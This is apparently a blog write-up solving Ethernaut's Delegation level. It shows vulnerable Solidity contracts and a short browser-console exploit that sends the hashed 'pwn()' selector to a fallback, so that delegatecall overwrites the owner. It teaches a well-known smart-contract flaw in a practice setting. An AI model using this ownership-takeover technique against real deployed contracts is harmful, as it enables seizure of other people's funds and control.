Delegation - Level 06
Tags: 100daystooffload, ethernaut, ethereum, solidity
Published: 2023-08-06 18:19:11

## Problem statement

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

* Look into Solidity's documentation on the `delegatecall` low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
* Fallback methods
* Method ids

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, **Get new instance**. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and create a data payload variable.

```javascript
const payload = web3.utils.keccak256("pwn()")
```

Send that payload to the contracts fallback function.

```javascript
await contract.sendTransaction({data: payload})
```

Control that you are the owner of the contract.

```javascript
(await contract.owner()) === player
```

If true, then finish up the challenge by clicking on the button, **Submit instance**, to commit and update the progress on the ethernaut contract.

## Explanation

The name of the challenge gives away where the vulnerability may be located, `delegatecall`.

We want to update the state of the `owner` of the `Delegation` contract to our address.

There are no code in the `Delegation` contract that updates the `owner` state.

```solidity
contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
```

What we can see though is that there is a call to an other contract, and that has always a potential to be dangerous.

```solidity
(bool result,) = address(delegate).delegatecall(msg.data);
```

As we can see in the `Delegate` contract there is at least code there for changing the owner, the function `pwn`.

```solidity
contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}
```

It happens to be the case that the low level function `delegatecall` works in ways that might not be obvious at first glance.

`delegatecall` is a "blind" call to a function on a contract and it's all given by the payload. We are using the library web3 to construct our payload which is based on the function name we want to call on the `Delegate` contract.

```javascript
const payload = web3.utils.keccak256("pwn()")

// payload = 0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab
```

All we need is to send the hash of the function name with the `sendTransaction` call.

```javascript
await contract.sendTransaction({data: payload})
```

The `delegatecall` will then make a call to the `pwn()` function on the Delegate contract, and here is the magic. The `delegatecall` will not change the context it is executed in, it runs the code of `Delegate` inside the context of the `Delegation` contract.

Since both contracts has the `address public owner` state it will result that the `pwn` function will update the `Delegation.owner` variable instead. So when the transactions has been confirmed then the owner has been updated on the `Delegation` contract, and we reached our goal!

The take away from the level author says it all.

![Take away](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/17bshrczf2t1uhniv7r5.png)

## Resources

* [Delegation](https://ethernaut.openzeppelin.com/level/6) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation
* [The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7) - The link in the take away above